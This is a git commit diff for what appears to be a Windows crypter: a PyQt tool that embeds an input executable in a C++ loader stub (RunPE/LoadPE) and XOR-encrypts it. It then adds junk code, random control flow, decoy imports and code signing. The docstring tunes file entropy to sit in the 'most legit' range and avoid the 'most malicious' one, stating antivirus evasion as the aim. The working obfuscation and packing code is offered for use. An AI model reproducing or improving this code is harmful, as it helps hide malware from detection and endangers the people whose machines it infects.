update
This commit is contained in:
21
gui.py
21
gui.py
@@ -9,12 +9,11 @@
|
||||
|
||||
"""
|
||||
TODO :
|
||||
- LoadPE (KEKW)
|
||||
- Good Section sizes
|
||||
- Random Windows API calls (help)
|
||||
|
||||
Done :
|
||||
- RunPE
|
||||
- LoadPE
|
||||
- Junk code
|
||||
- Control flow
|
||||
- IAT obfuscation (adding "normal" imports in addition to the others)
|
||||
@@ -23,6 +22,12 @@ Done :
|
||||
- Code signing
|
||||
- Good entropy
|
||||
- Add resources (random number of random generated bitmaps) --> Not used because it increases the entropy too much
|
||||
|
||||
Note about entropy :
|
||||
Entropy: between 0 and 8
|
||||
"Most legit" range : [4.8; 6.8]
|
||||
"Most malicious" range : [7.2; 8.0]
|
||||
Best entropy : 6.4
|
||||
"""
|
||||
|
||||
from PyQt5 import QtCore, QtGui, QtWidgets
|
||||
@@ -38,6 +43,7 @@ class Ui_mainWindow(object):
|
||||
self.xor = False
|
||||
self.cflow = False
|
||||
self.junk = False
|
||||
self.filepath = ""
|
||||
self.icon_path = ""
|
||||
|
||||
def setupUi(self, mainWindow):
|
||||
@@ -79,7 +85,7 @@ class Ui_mainWindow(object):
|
||||
self.spinBox = QtWidgets.QSpinBox(self.centralwidget)
|
||||
self.spinBox.setGeometry(QtCore.QRect(155, 118, 42, 22))
|
||||
self.spinBox.setObjectName("spinBox")
|
||||
self.spinBox.setValue(6)
|
||||
self.spinBox.setValue(8)
|
||||
self.spinBox.setMinimum(1)
|
||||
self.label_3 = QtWidgets.QLabel(self.centralwidget)
|
||||
self.label_3.setGeometry(QtCore.QRect(120, 122, 47, 13))
|
||||
@@ -90,7 +96,7 @@ class Ui_mainWindow(object):
|
||||
self.spinBox_2 = QtWidgets.QSpinBox(self.centralwidget)
|
||||
self.spinBox_2.setGeometry(QtCore.QRect(155, 138, 42, 22))
|
||||
self.spinBox_2.setObjectName("spinBox_2")
|
||||
self.spinBox_2.setValue(2)
|
||||
self.spinBox_2.setValue(3)
|
||||
self.spinBox_2.setMinimum(1)
|
||||
self.checkBox_3 = QtWidgets.QCheckBox(self.centralwidget)
|
||||
self.checkBox_3.setGeometry(QtCore.QRect(20, 140, 91, 16))
|
||||
@@ -135,8 +141,8 @@ class Ui_mainWindow(object):
|
||||
self.checkBox_3.setText(_translate("mainWindow", "Control flow"))
|
||||
|
||||
def generate(self) :
|
||||
in_filename = self.pushButton.text()
|
||||
out_filename = in_filename.split(".")[0] + "_out.exe"
|
||||
in_filename = self.filepath
|
||||
out_filename = self.pushButton.text().split(".")[0] + "_out.exe"
|
||||
xor_key = ''
|
||||
|
||||
if self.xor :
|
||||
@@ -152,6 +158,7 @@ class Ui_mainWindow(object):
|
||||
self.label_2.setText("Creating sample header...")
|
||||
QCoreApplication.processEvents()
|
||||
|
||||
print(f"Filename : {in_filename}")
|
||||
file = bytearray(open(in_filename, 'rb').read())
|
||||
with open("sample.h", 'w') as output:
|
||||
output.write("unsigned char sample[] = { ")
|
||||
@@ -171,6 +178,7 @@ class Ui_mainWindow(object):
|
||||
# Working with a copy of main.cpp
|
||||
os.rename("main.cpp", "DO_NOT_TOUCH.cpp")
|
||||
shutil.copyfile('DO_NOT_TOUCH.cpp', 'main.cpp')
|
||||
|
||||
with open("config.h", "w") as c :
|
||||
c.write(f'#pragma once\n#define KEY "{xor_key}"')
|
||||
|
||||
@@ -240,6 +248,7 @@ class Ui_mainWindow(object):
|
||||
if filePath:
|
||||
# Display the selected file path in the QLineEdit
|
||||
self.pushButton.setText(filePath.split("/")[-1:][0])
|
||||
self.filepath = filePath
|
||||
|
||||
|
||||
def IconfileDialog(self):
|
||||
|
||||
137
obfuscation.py
137
obfuscation.py
@@ -10,7 +10,7 @@ Creates :
|
||||
- Random control flow
|
||||
"""
|
||||
|
||||
types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long", "float", "double"]
|
||||
types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long"] #"float", "double"]
|
||||
operations = ["-", "+", "^", "*", "/"]
|
||||
global_vars = {}
|
||||
functions = []
|
||||
@@ -60,8 +60,10 @@ def GetRandomFunction() :
|
||||
functions.append(name)
|
||||
|
||||
body = "int "+name+"(const char* a1) {\n"
|
||||
body += "\tif (a1 <= (void*)0x00100000) return 0;\n"
|
||||
body += "\tchar aaa = ((char)((int)'0' + 1));\n"
|
||||
body += f"\tint bb = {GetRandomNumber()};\n"
|
||||
body += "\tfor (int i = 0; i < 10; i++) {\n\t\tCreateMutexA(NULL, false, a1);\n\t\tbb++;\n\t}\n\treturn bb;\n}"
|
||||
body += "\tfor (int i = 0; i < 10; i++) {\n\t\tCreateMutexA(NULL, false, &aaa);\n\t\tbb++;\n\t}\n\treturn bb;\n}"
|
||||
|
||||
return body
|
||||
|
||||
@@ -79,7 +81,7 @@ def GetAsmBlock(branch1, branch2, var, end, sub) :
|
||||
"""+branch1+""":"""
|
||||
|
||||
|
||||
if GetRandomRange(0, 4) > 1 :
|
||||
if GetRandomRange(0, 4) > 2 :
|
||||
branch1 = GetRandomString(20)
|
||||
branch2_ = GetRandomString(20)
|
||||
asm_block += GetAsmBlock(branch1, branch2_, var, end, sub)
|
||||
@@ -100,7 +102,7 @@ def GetRandomAssemblyBlock() :
|
||||
|
||||
r = """const char* """+var+""" = \""""+GetRandomString(5)+"""\";\n__asm {"""
|
||||
|
||||
for i in range(GetRandomRange(0, 30)) :
|
||||
for i in range(GetRandomRange(0, 15)) :
|
||||
branch1 = GetRandomString(20)
|
||||
branch2 = GetRandomString(20)
|
||||
end = GetRandomString(20)
|
||||
@@ -113,11 +115,11 @@ def generate_switch_statement(variable_name, exit_value, depth=0):
|
||||
indent = " " * depth
|
||||
switch_code = f"{indent}switch ({variable_name}) {{\n"
|
||||
|
||||
num_cases = GetRandomRange(2, 5)
|
||||
num_cases = GetRandomRange(1, 4)
|
||||
for _ in range(num_cases):
|
||||
case_value = GetRandomRange(1, 10**6)
|
||||
switch_code += f"{indent} case {case_value}:\n"
|
||||
if depth < 2 and GetRandomRange(0, 4) > 1 :
|
||||
if depth < 2 and GetRandomRange(0, 4) > 2 :
|
||||
switch_code += generate_switch_statement(variable_name, exit_value, depth + 1)
|
||||
else:
|
||||
switch_code += f"{indent} {{\n"
|
||||
@@ -146,6 +148,7 @@ def GetRandomControlFlow():
|
||||
|
||||
return cpp_code
|
||||
|
||||
FILES_TO_OBFUSCATE = {"main.cpp":"DO_NOT_TOUCH.cpp"}# "getapi.cpp":"DO_NOT_TOUCH_API.cpp"}
|
||||
def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
|
||||
if PASS < CFLOW_PASS : PASS = CFLOW_PASS
|
||||
|
||||
@@ -156,8 +159,11 @@ def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
|
||||
global in_func
|
||||
func_def_pattern = r'\b\w+\s+\w+\s*\([^)]*\)\s*'
|
||||
|
||||
f = open("DO_NOT_TOUCH.cpp", "r")
|
||||
o = open("main.cpp", "w")
|
||||
for outfile, infile in FILES_TO_OBFUSCATE.items():
|
||||
if PASS == 0 : break;
|
||||
|
||||
f = open(infile, "r")
|
||||
o = open(outfile, "w")
|
||||
out = []
|
||||
|
||||
lines = f.readlines()
|
||||
@@ -165,8 +171,10 @@ def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
|
||||
in_comment = False
|
||||
in_switch = False
|
||||
in_asm = False
|
||||
in_dowhile = False
|
||||
can_code = False
|
||||
wait_for_func_close = False
|
||||
in_debug = False
|
||||
global_vars = {}
|
||||
functions = []
|
||||
out = []
|
||||
@@ -198,17 +206,29 @@ def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
|
||||
pass
|
||||
elif "break;" in line and can_code :
|
||||
can_code = False
|
||||
if "#ifdef _DEBUG" in line :
|
||||
in_debug = True
|
||||
elif in_debug and "#endif" in line :
|
||||
in_debug = False
|
||||
continue
|
||||
if "do {" in line :
|
||||
in_dowhile = True
|
||||
elif in_dowhile and "while" in line :
|
||||
in_dowhile = False
|
||||
continue
|
||||
|
||||
if in_debug : continue
|
||||
if in_dowhile : continue
|
||||
a = "{" in line or "}" in line or "#" in line
|
||||
b = re.search(func_def_pattern, line) != None
|
||||
|
||||
if not can_code :
|
||||
if b or a or in_comment or in_switch or in_asm : continue # we can't write
|
||||
|
||||
if GetRandomBool() and junk : # do we create a variable ?
|
||||
if GetRandomBool() and junk and k < PASS : # do we create a variable ?
|
||||
out.append(GetRandomVar()+"\n")
|
||||
|
||||
if GetRandomBool() and in_func and junk: # do we do an operation on globals ?
|
||||
if GetRandomBool() and in_func and junk and k < PASS : # do we do an operation on globals ?
|
||||
out.append(GetRandomOperation()+"\n")
|
||||
|
||||
if GetRandomBool() and not in_func : # do we create a function ?
|
||||
@@ -226,61 +246,62 @@ def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
|
||||
lines = out
|
||||
|
||||
fake_api = """#define k_AreFileApisANSI (*(DWORD(WINAPI *)(VOID)) AreFileApisANSI)\r\n
|
||||
#define k_AssignProcessToJobObject (*(DWORD(WINAPI *)(DWORD,DWORD)) AssignProcessToJobObject)\r\n
|
||||
#define k_CancelWaitableTimer (*(DWORD(WINAPI *)(DWORD)) CancelWaitableTimer)\r\n
|
||||
#define k_ClearCommBreak (*(DWORD(WINAPI *)(DWORD)) ClearCommBreak)\r\n
|
||||
#define k_ClearCommError (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) ClearCommError)\r\n
|
||||
#define k_ConvertFiberToThread (*(DWORD(WINAPI *)(VOID)) ConvertFiberToThread)\r\n
|
||||
#define k_ConvertThreadToFiber (*(DWORD(WINAPI *)(DWORD)) ConvertThreadToFiber)\r\n
|
||||
#define k_CreateFiber (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) CreateFiber)\r\n
|
||||
#define k_CreateFiberEx (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFiberEx)\r\n
|
||||
#define k_CreateIoCompletionPort (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD)) CreateIoCompletionPort)\r\n"""
|
||||
#define k_AssignProcessToJobObject (*(DWORD(WINAPI *)(DWORD,DWORD)) AssignProcessToJobObject)\r\n
|
||||
#define k_CancelWaitableTimer (*(DWORD(WINAPI *)(DWORD)) CancelWaitableTimer)\r\n
|
||||
#define k_ClearCommBreak (*(DWORD(WINAPI *)(DWORD)) ClearCommBreak)\r\n
|
||||
#define k_ClearCommError (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) ClearCommError)\r\n
|
||||
#define k_ConvertFiberToThread (*(DWORD(WINAPI *)(VOID)) ConvertFiberToThread)\r\n
|
||||
#define k_ConvertThreadToFiber (*(DWORD(WINAPI *)(DWORD)) ConvertThreadToFiber)\r\n
|
||||
#define k_CreateFiber (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) CreateFiber)\r\n
|
||||
#define k_CreateFiberEx (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFiberEx)\r\n
|
||||
#define k_CreateIoCompletionPort (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD)) CreateIoCompletionPort)\r\n"""
|
||||
|
||||
static_imports = """DWORD USER3221_Array[] = { (DWORD)GetWindowLongA, (DWORD)wvsprintfA, (DWORD)SetWindowPos, (DWORD)FindWindowA,\r\n
|
||||
(DWORD)RedrawWindow, (DWORD)GetWindowTextA, (DWORD)EnableWindow, (DWORD)GetSystemMetrics,\r\n
|
||||
(DWORD)IsWindow, (DWORD)CheckRadioButton, (DWORD)UnregisterClassA, (DWORD)SetCursor,\r\n
|
||||
(DWORD)GetSysColorBrush, (DWORD)DialogBoxParamA, (DWORD)DestroyAcceleratorTable, (DWORD)DispatchMessageA,\r\n
|
||||
(DWORD)TranslateMessage, (DWORD)LoadIconA, (DWORD)EmptyClipboard, (DWORD)SetClipboardData, (DWORD)SetFocus,\r\n
|
||||
(DWORD)CharUpperA, (DWORD)OpenClipboard, (DWORD)IsDialogMessageA, (DWORD)TranslateAcceleratorA, (DWORD)GetMessageA,\r\n
|
||||
(DWORD)LoadAcceleratorsA, (DWORD)RemoveMenu, (DWORD)InvalidateRect, (DWORD)ChildWindowFromPoint, (DWORD)PostMessageA,\r\n
|
||||
(DWORD)DestroyCursor, (DWORD)CreateDialogParamA, (DWORD)GetWindowRect, (DWORD)IsMenu, (DWORD)GetSubMenu, (DWORD)SetDlgItemInt,\r\n
|
||||
(DWORD)GetWindowPlacement, (DWORD)CharLowerBuffA, (DWORD)EnableMenuItem, (DWORD)CheckMenuRadioItem, (DWORD)GetSysColor,\r\n
|
||||
(DWORD)KillTimer, (DWORD)DestroyIcon, (DWORD)DestroyWindow, (DWORD)PostQuitMessage, (DWORD)GetClientRect, (DWORD)MoveWindow,\r\n
|
||||
(DWORD)GetSystemMenu, (DWORD)SetTimer, (DWORD)SetWindowPlacement, (DWORD)InsertMenuItemA, (DWORD)GetMenu, (DWORD)CheckMenuItem,\r\n
|
||||
(DWORD)SetMenuItemInfoA, (DWORD)SetActiveWindow, (DWORD)DefDlgProcA, (DWORD)RegisterClassA, (DWORD)EndDialog, (DWORD)SetDlgItemTextA,\r\n
|
||||
(DWORD)EnumClipboardFormats, (DWORD)GetClipboardData, (DWORD)CloseClipboard, (DWORD)GetClassInfoA, (DWORD)CallWindowProcA,\r\n
|
||||
(DWORD)SetWindowLongA, (DWORD)IsDlgButtonChecked, (DWORD)SetWindowTextA, (DWORD)CheckDlgButton, (DWORD)GetActiveWindow, (DWORD)LoadCursorA,\r\n
|
||||
(DWORD)MessageBoxA, (DWORD)wsprintfA, (DWORD)GetDlgItemTextA, (DWORD)SendMessageA, (DWORD)GetCursorPos, (DWORD)TrackPopupMenu,\r\n
|
||||
(DWORD)ClientToScreen, (DWORD)DestroyMenu, (DWORD)CreatePopupMenu, (DWORD)AppendMenuA, (DWORD)SendDlgItemMessageA, (DWORD)GetDlgItem };\r\n
|
||||
\r\n
|
||||
DWORD GDI32121_Array[] = { (DWORD)GetObjectA, (DWORD)GetStockObject, (DWORD)DeleteObject, (DWORD)SetBkMode, (DWORD)SetTextColor, (DWORD)CreateFontIndirectA, (DWORD)SelectObject };\r\n
|
||||
\r\n
|
||||
DWORD comdlg3218_Array[] = { (DWORD)GetOpenFileNameA, (DWORD)GetSaveFileNameA };\r\n
|
||||
\r\n
|
||||
DWORD ADVAPI32214_Array[] = { (DWORD)RegCreateKeyA, (DWORD)RegSetValueA, (DWORD)GetUserNameA, (DWORD)RegCloseKey,\r\n
|
||||
(DWORD)RegOpenKeyExA, (DWORD)AdjustTokenPrivileges, (DWORD)LookupPrivilegeValueA, (DWORD)OpenProcessToken, (DWORD)RegQueryValueExA, (DWORD)RegDeleteKeyA };\r\n
|
||||
\r\n"""
|
||||
(DWORD)RedrawWindow, (DWORD)GetWindowTextA, (DWORD)EnableWindow, (DWORD)GetSystemMetrics,\r\n
|
||||
(DWORD)IsWindow, (DWORD)CheckRadioButton, (DWORD)UnregisterClassA, (DWORD)SetCursor,\r\n
|
||||
(DWORD)GetSysColorBrush, (DWORD)DialogBoxParamA, (DWORD)DestroyAcceleratorTable, (DWORD)DispatchMessageA,\r\n
|
||||
(DWORD)TranslateMessage, (DWORD)LoadIconA, (DWORD)EmptyClipboard, (DWORD)SetClipboardData, (DWORD)SetFocus,\r\n
|
||||
(DWORD)CharUpperA, (DWORD)OpenClipboard, (DWORD)IsDialogMessageA, (DWORD)TranslateAcceleratorA, (DWORD)GetMessageA,\r\n
|
||||
(DWORD)LoadAcceleratorsA, (DWORD)RemoveMenu, (DWORD)InvalidateRect, (DWORD)ChildWindowFromPoint, (DWORD)PostMessageA,\r\n
|
||||
(DWORD)DestroyCursor, (DWORD)CreateDialogParamA, (DWORD)GetWindowRect, (DWORD)IsMenu, (DWORD)GetSubMenu, (DWORD)SetDlgItemInt,\r\n
|
||||
(DWORD)GetWindowPlacement, (DWORD)CharLowerBuffA, (DWORD)EnableMenuItem, (DWORD)CheckMenuRadioItem, (DWORD)GetSysColor,\r\n
|
||||
(DWORD)KillTimer, (DWORD)DestroyIcon, (DWORD)DestroyWindow, (DWORD)PostQuitMessage, (DWORD)GetClientRect, (DWORD)MoveWindow,\r\n
|
||||
(DWORD)GetSystemMenu, (DWORD)SetTimer, (DWORD)SetWindowPlacement, (DWORD)InsertMenuItemA, (DWORD)GetMenu, (DWORD)CheckMenuItem,\r\n
|
||||
(DWORD)SetMenuItemInfoA, (DWORD)SetActiveWindow, (DWORD)DefDlgProcA, (DWORD)RegisterClassA, (DWORD)EndDialog, (DWORD)SetDlgItemTextA,\r\n
|
||||
(DWORD)EnumClipboardFormats, (DWORD)GetClipboardData, (DWORD)CloseClipboard, (DWORD)GetClassInfoA, (DWORD)CallWindowProcA,\r\n
|
||||
(DWORD)SetWindowLongA, (DWORD)IsDlgButtonChecked, (DWORD)SetWindowTextA, (DWORD)CheckDlgButton, (DWORD)GetActiveWindow, (DWORD)LoadCursorA,\r\n
|
||||
(DWORD)MessageBoxA, (DWORD)wsprintfA, (DWORD)GetDlgItemTextA, (DWORD)SendMessageA, (DWORD)GetCursorPos, (DWORD)TrackPopupMenu,\r\n
|
||||
(DWORD)ClientToScreen, (DWORD)DestroyMenu, (DWORD)CreatePopupMenu, (DWORD)AppendMenuA, (DWORD)SendDlgItemMessageA, (DWORD)GetDlgItem };\r\n
|
||||
\r\n
|
||||
DWORD GDI32121_Array[] = { (DWORD)GetObjectA, (DWORD)GetStockObject, (DWORD)DeleteObject, (DWORD)SetBkMode, (DWORD)SetTextColor, (DWORD)CreateFontIndirectA, (DWORD)SelectObject };\r\n
|
||||
\r\n
|
||||
DWORD comdlg3218_Array[] = { (DWORD)GetOpenFileNameA, (DWORD)GetSaveFileNameA };\r\n
|
||||
\r\n
|
||||
DWORD ADVAPI32214_Array[] = { (DWORD)RegCreateKeyA, (DWORD)RegSetValueA, (DWORD)GetUserNameA, (DWORD)RegCloseKey,\r\n
|
||||
(DWORD)RegOpenKeyExA, (DWORD)AdjustTokenPrivileges, (DWORD)LookupPrivilegeValueA, (DWORD)OpenProcessToken, (DWORD)RegQueryValueExA, (DWORD)RegDeleteKeyA };\r\n
|
||||
\r\n"""
|
||||
|
||||
fake_libs = """#pragma comment(lib,\"user32.lib\")\r\n
|
||||
#pragma comment(lib,\"Comdlg32.lib\")\r\n
|
||||
#pragma comment(lib,\"UrlMon.lib\")\r\n
|
||||
#pragma comment(lib,\"Shell32.lib\")\r\n
|
||||
#pragma comment(lib,\"oledlg.lib\")\r\n
|
||||
#pragma comment(lib,\"Ole32.lib\")\r\n
|
||||
#pragma comment(lib,\"AdvApi32.lib\")\r\n
|
||||
#pragma comment(lib,\"WinInet.lib\")\r\n
|
||||
#pragma comment(lib,\"Gdi32.lib\")\r\n
|
||||
#pragma comment(lib,\"WS2_32.lib\")\r\n
|
||||
#pragma comment(lib,\"opengl32.lib\")\r\n"""
|
||||
#pragma comment(lib,\"Comdlg32.lib\")\r\n
|
||||
#pragma comment(lib,\"UrlMon.lib\")\r\n
|
||||
#pragma comment(lib,\"Shell32.lib\")\r\n
|
||||
#pragma comment(lib,\"oledlg.lib\")\r\n
|
||||
#pragma comment(lib,\"Ole32.lib\")\r\n
|
||||
#pragma comment(lib,\"AdvApi32.lib\")\r\n
|
||||
#pragma comment(lib,\"WinInet.lib\")\r\n
|
||||
#pragma comment(lib,\"Gdi32.lib\")\r\n
|
||||
#pragma comment(lib,\"WS2_32.lib\")\r\n
|
||||
#pragma comment(lib,\"opengl32.lib\")\r\n"""
|
||||
|
||||
fake_includes = """#include <intrin.h>\r\n
|
||||
#include <Objbase.h>\r\n
|
||||
#include <Callobj.h>\r\n
|
||||
#include <Shellapi.h>\r\n
|
||||
#include <Urlmon.h>\r\n
|
||||
#include <Prsht.h>\r\n
|
||||
#include <Userenv.h>\r\n"""
|
||||
#include <Objbase.h>\r\n
|
||||
#include <Callobj.h>\r\n
|
||||
#include <Shellapi.h>\r\n
|
||||
#include <Urlmon.h>\r\n
|
||||
#include <Prsht.h>\r\n
|
||||
#include <Userenv.h>\r\n"""
|
||||
|
||||
if outfile == "main.cpp" :
|
||||
out.insert(0, fake_api)
|
||||
out.insert(0, static_imports)
|
||||
out.insert(0, fake_libs)
|
||||
|
||||
Reference in New Issue
Block a user